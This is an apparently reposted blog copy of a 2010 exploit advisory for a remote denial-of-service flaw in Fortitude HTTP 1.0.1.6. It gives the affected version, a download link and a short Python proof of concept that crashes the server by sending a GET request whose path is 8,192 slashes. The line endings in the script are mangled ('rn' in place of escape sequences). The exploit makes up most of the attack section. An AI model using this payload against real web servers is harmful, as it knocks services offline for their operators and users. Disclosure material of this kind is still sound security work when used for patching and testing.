Fortitude HTTP 1.0.1.6 remote denial of service
#==========================================================================
==================================#
# _ _ __ __ __ _______ _____ __ __
_____ _ _ _____ __ __ #
# /_/ /_ /_ /_ /_ /_______) ) ___ ( /_/__/ ) ___ ( /_/ /_
/_____/_/__/ #
# ) ) )( ( ( /_/( ( ( ( ( ( (___ __// /_/ ) ) ) ) )/ /_/ ) )
)( ( (( (_____/) ) ) ) ) #
# /_/ //\ _ /_\ _ _ / / / / /_/ (_ /_/ /_/ // /_/ (_ /_/ //\ _\
__ /_/ /_/_/ #
# / / // / // / /__ / / /__ ( ( ( )_/ / / _/ )_/ / / / /
// /__/_ #
# )_) / (_(( (_(( (_____(( (_____( /_/ / )_) ) /_/ / )_) /
(_(( (_____)_) ) #
# _/ /_/ /_/ /_____/ /_____/ /_/_/ )_____( _/ )_____( _/
/_/ /_____/_/ _/ #
#
#
#==========================================================================
==================================#
#
#
# Vulnerability............Denial-of-Service
#
# Software.................Fortitude HTTP 1.0.1.6
#
#
Download.................http://www.networkdls.com/Download/HTTPServer32.ex
e #
# Date.....................5/16/10
#
#
#
#==========================================================================
==================================#
#
#
# Site.....................http://cross-site-scripting.blogspot.com/
#
# Email....................john.leitch5@gmail.com
#
#
#
#==========================================================================
==================================#
#
#
# ##Description##
#
#
#
# Fortitude HTTP 1.0.1.6 crashes upon receving an HTTP request containing a
relative resource path with an #
# excessive number of slashes.
#
#
#
#
#
# ##Exploit##
#
#
#
# GET / * 8192 HTTP 1.1
#
# Host: localhost
#
#
#
#
#
#
#
# ##Proof of Concept##
#
import socket
host ='localhost'
port = 80
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
s.send('GET ' + '/' * 8192 + ' HTTP/1.1rn'
'Host: ' + host + 'rnrn')
References : http://securityreason.com/wlb_show/WLB-2010050113
- Fortitude HTTP 1.0.1.6 remote denial of service
- Unknown
- May 20, 2010
- No comments:
Subscribe to:
Post Comments (Atom)
0 comments:
Post a Comment
silahkan tinggalkan komentar anda disini .. :D